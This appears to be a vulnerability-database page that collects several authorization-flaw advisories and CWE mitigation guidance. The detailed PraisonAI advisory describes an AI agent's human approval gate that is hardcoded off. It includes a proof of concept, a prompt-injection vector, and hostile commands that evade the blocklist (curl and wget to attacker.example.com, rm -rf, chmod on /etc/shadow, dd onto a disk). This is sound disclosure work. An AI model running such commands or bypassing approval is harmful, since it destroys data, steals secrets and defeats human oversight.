  "details": "Versions of Sage 300 through 2022 implement role-based access controls that are only enforced client-side. Low-privileged Sage users, particularly those on a workstation setup in the \"Windows Peer-to-Peer Network\" or \"Client Server Network\" Sage 300 configurations, could recover the SQL connection strings being used by Sage 300 and interact directly with the underlying database(s) to create, update, and delete all company records, bypassing the program\u2019s role-based access controls.",
  "id": "GHSA-qw6r-773c-w64h",
  "modified": "2025-01-23T18:31:06Z",
  "published": "2023-07-06T21:14:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-29927"
    },
    {
      "type": "WEB",
      "url": "https://www.controlgap.com/blog/critical-vulnerability-disclosure-sage-300"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QW9M-FC79-372G

Vulnerability from github – Published: 2026-08-25 03:32 – Updated: 2026-08-25 03:32
VLAI
Details

Grav Login plugin versions before 1.0.16 fail to validate the target account's privilege level in the onApiUserListRowAction unlock handler. An attacker with api.users.write permission can clear login lockout counters on admin.super accounts, removing brute-force protection from the highest-privilege accounts without requiring equivalent permissions.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
9.3 (Critical)
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-56710"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-25T02:16:43Z",
    "severity": "CRITICAL"
  },
  "details": "Grav Login plugin versions before 1.0.16 fail to validate the target account\u0027s privilege level in the onApiUserListRowAction unlock handler. An attacker with api.users.write permission can clear login lockout counters on admin.super accounts, removing brute-force protection from the highest-privilege accounts without requiring equivalent permissions.",
  "id": "GHSA-qw9m-fc79-372g",
  "modified": "2026-08-25T03:32:09Z",
  "published": "2026-08-25T03:32:09Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/getgrav/grav/security/advisories/GHSA-985r-mpj8-5rqw"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-56710"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/grav-login-plugin-before-privilege-escalation-via-unlock"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-QWFH-Q845-FHM2

Vulnerability from github – Published: 2022-03-12 00:00 – Updated: 2022-03-19 00:01
VLAI
Details

The public API error causes for the attacker to be able to bypass API access control.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-23730"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-03-11T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The public API error causes for the attacker to be able to bypass API access control.",
  "id": "GHSA-qwfh-q845-fhm2",
  "modified": "2022-03-19T00:01:12Z",
  "published": "2022-03-12T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-23730"
    },
    {
      "type": "WEB",
      "url": "https://lgsecurity.lge.com/bulletins/tv"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QWFW-VM52-PF89

Vulnerability from github – Published: 2025-08-18 15:30 – Updated: 2025-08-18 15:30
VLAI
Details

IBM Storage Virtualize 8.4, 8.5, 8.6, and 8.7 could allow an authenticated user to escalate their privileges in an SSH session due to incorrect authorization checks to access resources.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-36120"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-18T14:15:29Z",
    "severity": "HIGH"
  },
  "details": "IBM Storage Virtualize 8.4, 8.5, 8.6, and 8.7 could allow an authenticated user to escalate their privileges in an SSH session due to incorrect authorization checks to access resources.",
  "id": "GHSA-qwfw-vm52-pf89",
  "modified": "2025-08-18T15:30:32Z",
  "published": "2025-08-18T15:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-36120"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7240796"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-QWGJ-RRPJ-75XM

Vulnerability from github – Published: 2026-04-10 19:25 – Updated: 2026-04-10 19:25
VLAI
Summary
PraisonAI: Hardcoded `approval_mode="auto"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution
Details

Summary

The Chainlit UI modules (chat.py and code.py) hardcode config.approval_mode = "auto" after loading administrator configuration from the PRAISON_APPROVAL_MODE environment variable, silently overriding any "manual" or "scoped" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via subprocess.run(..., shell=True). An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.

Details

The application has a well-designed approval framework supporting auto, manual, and scoped modes, configured via the PRAISON_APPROVAL_MODE environment variable and loaded by ToolConfig.from_env() at interactive_tools.py:81-106.

However, both UI modules unconditionally override this after loading:

chat.py:156-159:

config = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual
config.workspace = os.getcwd()
config.approval_mode = "auto"        # hardcoded override, ignoring admin config

code.py:155-158:

config = ToolConfig.from_env()
config.workspace = os.environ.get("PRAISONAI_CODE_REPO_PATH", os.getcwd())
config.approval_mode = "auto"        # same hardcoded override

This flows to agent_tools.py:347-348 in the acp_execute_command function:

auto_approve = runtime.config.approval_mode == "auto"   # always True
approved = await orchestrator.approve_plan(plan, auto=auto_approve)

The plan is auto-approved without user confirmation and reaches action_orchestrator.py:458:

result = subprocess.run(
    step.target,
    shell=True,           # shell execution
    capture_output=True,
    text=True,
    cwd=str(workspace),
    timeout=30
)

Command sanitization is insufficient. Two blocklists exist: 1. _sanitize_command() at agent_tools.py:60-86 blocks: $(, `, &&, ||, >>, >, |, ;, &, \n, \r 2. _apply_step() at action_orchestrator.py:449 blocks: ;, &, |, $, `

Both only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: rm -rf /home, curl http://attacker.example.com/exfil, wget, chmod 777 /etc/shadow, python3 -c "import os; os.unlink('/important')", dd if=/dev/zero of=/dev/sda.

PoC

Prerequisites: PraisonAI UI running (praisonai ui chat or praisonai ui code). Default credentials not changed.

# Step 1: Start the Chainlit UI
praisonai ui chat

# Step 2: Log in with default credentials at http://localhost:8000
# Username: admin
# Password: admin

# Step 3: Send a chat message requesting command execution:
# "Please run this command for me: cat /etc/passwd"

# The LLM agent calls acp_execute_command("cat /etc/passwd")
# _sanitize_command passes (no blocked patterns)
# approval_mode="auto" → auto-approved at agent_tools.py:347-348
# subprocess.run("cat /etc/passwd", shell=True) executes at action_orchestrator.py:458
# Contents of /etc/passwd returned in chat

# Step 4: Demonstrate the override of admin configuration:
# Even with PRAISON_APPROVAL_MODE=manual set in the environment,
# chat.py:159 overwrites it to "auto"
export PRAISON_APPROVAL_MODE=manual
praisonai ui chat
# Commands still auto-approve because of the hardcoded override

Commands that bypass sanitization blocklists: - rm -rf /home/user/documents — no blocked characters - chmod 777 /etc/shadow — no blocked characters
- curl http://attacker.example.com/exfil — no blocked characters - wget http://attacker.example.com/backdoor -O /tmp/backdoor — no blocked characters - python3 -c "__import__('os').unlink('/important/file')" — no blocked characters

Impact

  • Arbitrary command execution: An authenticated user (or attacker with default admin/admin credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process.
  • Confidentiality breach: Read arbitrary files accessible to the process (/etc/passwd, application secrets, environment variables containing API keys).
  • Integrity compromise: Modify or delete files, install backdoors, tamper with application code.
  • Availability impact: Kill processes, consume disk/memory, delete critical data.
  • Administrator control undermined: Even administrators who explicitly set PRAISON_APPROVAL_MODE=manual to require human approval have their configuration silently overridden, creating a false sense of security.
  • Prompt injection vector: Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.

Recommended Fix

Remove the hardcoded override and respect the administrator's configured approval mode. In both chat.py and code.py:

# Before (chat.py:156-159):
config = ToolConfig.from_env()
config.workspace = os.getcwd()
config.approval_mode = "auto"  # Trust mode - auto-approve all tool executions

# After:
config = ToolConfig.from_env()
config.workspace = os.getcwd()
# Respect PRAISON_APPROVAL_MODE from environment; defaults to "auto" in ToolConfig
# Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval

Additionally, strengthen _sanitize_command() to use an allowlist approach rather than a blocklist:

import shlex

ALLOWED_COMMANDS = {"ls", "cat", "head", "tail", "grep", "find", "echo", "pwd", "wc", "sort", "uniq", "diff", "git", "python", "pip", "node", "npm"}

def _sanitize_command(command: str) -> str:
    # Existing blocklist checks...

    # Additionally, check the base command against allowlist
    try:
        parts = shlex.split(command)
    except ValueError:
        raise ValueError(f"Could not parse command: {command!r}")

    base_cmd = os.path.basename(parts[0]) if parts else ""
    if base_cmd not in ALLOWED_COMMANDS:
        raise ValueError(
            f"Command {base_cmd!r} is not in the allowed command list. "
            f"Allowed: {', '.join(sorted(ALLOWED_COMMANDS))}"
        )

    return command
Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "PraisonAI"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.128"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-10T19:25:49Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe Chainlit UI modules (`chat.py` and `code.py`) hardcode `config.approval_mode = \"auto\"` after loading administrator configuration from the `PRAISON_APPROVAL_MODE` environment variable, silently overriding any \"manual\" or \"scoped\" approval setting. This defeats the human-in-the-loop approval gate for all ACP tool executions, including shell command execution via `subprocess.run(..., shell=True)`. An authenticated user can instruct the LLM agent to execute arbitrary single-command shell operations on the server without any approval prompt.\n\n## Details\n\nThe application has a well-designed approval framework supporting `auto`, `manual`, and `scoped` modes, configured via the `PRAISON_APPROVAL_MODE` environment variable and loaded by `ToolConfig.from_env()` at `interactive_tools.py:81-106`.\n\nHowever, both UI modules unconditionally override this after loading:\n\n**`chat.py:156-159`:**\n```python\nconfig = ToolConfig.from_env()       # reads PRAISON_APPROVAL_MODE=manual\nconfig.workspace = os.getcwd()\nconfig.approval_mode = \"auto\"        # hardcoded override, ignoring admin config\n```\n\n**`code.py:155-158`:**\n```python\nconfig = ToolConfig.from_env()\nconfig.workspace = os.environ.get(\"PRAISONAI_CODE_REPO_PATH\", os.getcwd())\nconfig.approval_mode = \"auto\"        # same hardcoded override\n```\n\nThis flows to `agent_tools.py:347-348` in the `acp_execute_command` function:\n```python\nauto_approve = runtime.config.approval_mode == \"auto\"   # always True\napproved = await orchestrator.approve_plan(plan, auto=auto_approve)\n```\n\nThe plan is auto-approved without user confirmation and reaches `action_orchestrator.py:458`:\n```python\nresult = subprocess.run(\n    step.target,\n    shell=True,           # shell execution\n    capture_output=True,\n    text=True,\n    cwd=str(workspace),\n    timeout=30\n)\n```\n\n**Command sanitization is insufficient.** Two blocklists exist:\n1. `_sanitize_command()` at `agent_tools.py:60-86` blocks: `$(`, `` ` ``, `\u0026\u0026`, `||`, `\u003e\u003e`, `\u003e`, `|`, `;`, `\u0026`, `\\n`, `\\r`\n2. `_apply_step()` at `action_orchestrator.py:449` blocks: `;`, `\u0026`, `|`, `$`, `` ` ``\n\nBoth only target command chaining/substitution operators. Single-argument destructive commands pass both blocklists: `rm -rf /home`, `curl http://attacker.example.com/exfil`, `wget`, `chmod 777 /etc/shadow`, `python3 -c \"import os; os.unlink(\u0027/important\u0027)\"`, `dd if=/dev/zero of=/dev/sda`.\n\n## PoC\n\n**Prerequisites:** PraisonAI UI running (`praisonai ui chat` or `praisonai ui code`). Default credentials not changed.\n\n```bash\n# Step 1: Start the Chainlit UI\npraisonai ui chat\n\n# Step 2: Log in with default credentials at http://localhost:8000\n# Username: admin\n# Password: admin\n\n# Step 3: Send a chat message requesting command execution:\n# \"Please run this command for me: cat /etc/passwd\"\n\n# The LLM agent calls acp_execute_command(\"cat /etc/passwd\")\n# _sanitize_command passes (no blocked patterns)\n# approval_mode=\"auto\" \u2192 auto-approved at agent_tools.py:347-348\n# subprocess.run(\"cat /etc/passwd\", shell=True) executes at action_orchestrator.py:458\n# Contents of /etc/passwd returned in chat\n\n# Step 4: Demonstrate the override of admin configuration:\n# Even with PRAISON_APPROVAL_MODE=manual set in the environment,\n# chat.py:159 overwrites it to \"auto\"\nexport PRAISON_APPROVAL_MODE=manual\npraisonai ui chat\n# Commands still auto-approve because of the hardcoded override\n```\n\n**Commands that bypass sanitization blocklists:**\n- `rm -rf /home/user/documents` \u2014 no blocked characters\n- `chmod 777 /etc/shadow` \u2014 no blocked characters  \n- `curl http://attacker.example.com/exfil` \u2014 no blocked characters\n- `wget http://attacker.example.com/backdoor -O /tmp/backdoor` \u2014 no blocked characters\n- `python3 -c \"__import__(\u0027os\u0027).unlink(\u0027/important/file\u0027)\"` \u2014 no blocked characters\n\n## Impact\n\n- **Arbitrary command execution:** An authenticated user (or attacker with default `admin/admin` credentials) can execute any single shell command on the server hosting PraisonAI, subject only to the OS-level permissions of the PraisonAI process.\n- **Confidentiality breach:** Read arbitrary files accessible to the process (`/etc/passwd`, application secrets, environment variables containing API keys).\n- **Integrity compromise:** Modify or delete files, install backdoors, tamper with application code.\n- **Availability impact:** Kill processes, consume disk/memory, delete critical data.\n- **Administrator control undermined:** Even administrators who explicitly set `PRAISON_APPROVAL_MODE=manual` to require human approval have their configuration silently overridden, creating a false sense of security.\n- **Prompt injection vector:** Since the agent also processes external content (web search results via Tavily, uploaded files), malicious content could trigger command execution through the auto-approved tool without direct user intent.\n\n## Recommended Fix\n\nRemove the hardcoded override and respect the administrator\u0027s configured approval mode. In both `chat.py` and `code.py`:\n\n```python\n# Before (chat.py:156-159):\nconfig = ToolConfig.from_env()\nconfig.workspace = os.getcwd()\nconfig.approval_mode = \"auto\"  # Trust mode - auto-approve all tool executions\n\n# After:\nconfig = ToolConfig.from_env()\nconfig.workspace = os.getcwd()\n# Respect PRAISON_APPROVAL_MODE from environment; defaults to \"auto\" in ToolConfig\n# Administrators can set PRAISON_APPROVAL_MODE=manual for human-in-the-loop approval\n```\n\nAdditionally, strengthen `_sanitize_command()` to use an allowlist approach rather than a blocklist:\n\n```python\nimport shlex\n\nALLOWED_COMMANDS = {\"ls\", \"cat\", \"head\", \"tail\", \"grep\", \"find\", \"echo\", \"pwd\", \"wc\", \"sort\", \"uniq\", \"diff\", \"git\", \"python\", \"pip\", \"node\", \"npm\"}\n\ndef _sanitize_command(command: str) -\u003e str:\n    # Existing blocklist checks...\n    \n    # Additionally, check the base command against allowlist\n    try:\n        parts = shlex.split(command)\n    except ValueError:\n        raise ValueError(f\"Could not parse command: {command!r}\")\n    \n    base_cmd = os.path.basename(parts[0]) if parts else \"\"\n    if base_cmd not in ALLOWED_COMMANDS:\n        raise ValueError(\n            f\"Command {base_cmd!r} is not in the allowed command list. \"\n            f\"Allowed: {\u0027, \u0027.join(sorted(ALLOWED_COMMANDS))}\"\n        )\n    \n    return command\n```",
  "id": "GHSA-qwgj-rrpj-75xm",
  "modified": "2026-04-10T19:25:49Z",
  "published": "2026-04-10T19:25:49Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-qwgj-rrpj-75xm"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/releases/tag/v4.5.128"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Hardcoded `approval_mode=\"auto\"` in Chainlit UI Overrides Administrator Configuration, Enabling Unapproved Shell Command Execution"
}
Mitigation
Architecture and Design
  • Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) [REF-229] to enforce the roles at the appropriate boundaries.
  • Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
Mitigation
Architecture and Design

Ensure that access control checks are performed related to the business logic. These checks may be different than the access control checks that are applied to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor [REF-7].

Mitigation MIT-4.4
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
Mitigation
Architecture and Design
  • For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page.
  • One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
Mitigation
System Configuration Installation

Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

No CAPEC attack patterns related to this CWE.

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